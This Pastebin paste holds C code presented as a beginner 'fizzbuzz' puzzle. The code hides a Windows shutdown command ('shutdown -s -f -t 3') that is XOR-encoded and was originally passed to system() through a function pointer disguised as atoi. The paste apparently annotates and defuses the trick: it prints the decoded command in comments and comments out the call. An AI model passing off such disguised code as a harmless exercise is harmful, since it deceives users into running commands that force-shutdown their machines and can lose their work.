Advertisement
talizman

[PROBLEM 3 OVERVIEW]

Jul 23rd, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.     [PROBLEM 3 OVERVIEW]
  3.     Operating System: Windows
  4.     Difficulty: Easy
  5.  
  6.     [PROBLEM 3 DESCRIPTION]
  7.     The code below contains a unique take on the infamous "fizzbuzz" problem.
  8.     You are tasked with modifying the 'system' variable in order to have getFavoriteFood() return a positive number.
  9.     The current implementation below will output a negative number to stdout.
  10.     An approach that involves "guess-and-check" is valid, but try to understand why certain inputs pass and why others fail.
  11.     Feel free to reach out to your peers, tutors, or other online resources if you need additional help.
  12.  
  13.     [PROBLEM 3 FOOD MENU]
  14.     #1: Spaghetti
  15.     #2: Chicken Fettuccine
  16.     #3: Cheeseburger
  17.     #4: Pepperoni Pizza
  18.     #5: Caeser Salad
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23.  
  24. #define SECRET_NUM 32
  25.  
  26. typedef int (*StringToInt)(const char* text);
  27.  
  28. int getFavoriteFood(int* secret,
  29.                     StringToInt atoi,
  30.                     char **ffvalue)         // Added
  31. {
  32.     if (ffvalue)
  33.         *ffvalue=0;
  34.     char* favorite_food = (char*)calloc(SECRET_NUM, sizeof(char));
  35.    
  36.     for(int i = 0; i < SECRET_NUM; i++)
  37.     {
  38.         int counter = secret[i / 4] >> (i % 4 * 8) & 255;
  39.        
  40.         if(i % 3 == 0)
  41.             favorite_food[i] = counter ^ 3;
  42.         else if (i % 5 == 0)
  43.             favorite_food[i] = counter ^ 5;
  44.         else
  45.             favorite_food[i] = counter ^ 15;
  46.     }
  47.  
  48. // Let's look closer:
  49.     printf("[ getFavoriteFood(): Supplied: <%s> ]\n", ((char *)(&secret[0])));
  50.                                 // [ getFavoriteFood(): Supplied: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
  51.     printf("[ getFavoriteFood(): Modified: <%s> ]\n", ((char *)(&favorite_food[0])));
  52.                                 // [ getFavoriteFood(): Modified: <shutdown -s -f -t 3 -c "lol xd"> ]
  53.     if (ffvalue)
  54.         *ffvalue=favorite_food;
  55.  
  56. //  return atoi(favorite_food);     // Calls WHATEVER function that is specified in VARIABLE "atoi"
  57.                                     // with MODIFIED _secret string array AS string
  58.                                     //
  59.     return (0);                     // Do this instead
  60. }
  61.  
  62. int main()
  63. {
  64.     char *ffvalue;
  65.  
  66.     int _secret[] = { 2004510576, 1635019371, 796274223, 774859054, 791687035, 758079528, 593717871, 253848439, 0 };
  67.     int _system = '3';
  68.    
  69. // Let's look closer:
  70.     printf("[ main(): Before: <%s> ]\n", ((char *)(&_secret[0])));  // [ main(): Before: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
  71.     getFavoriteFood(_secret, (StringToInt)system, &ffvalue);
  72.     printf("[ main(): After: <%s> ]\n", ffvalue);                   // [ main(): After: <shutdown -s -f -t 3 -c "lol xd"> ]
  73.    
  74. //  printf("Problem 3: Favorite Food is %d", getFavoriteFood(_secret, (StringToInt)system));
  75.    
  76.     return 0;
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement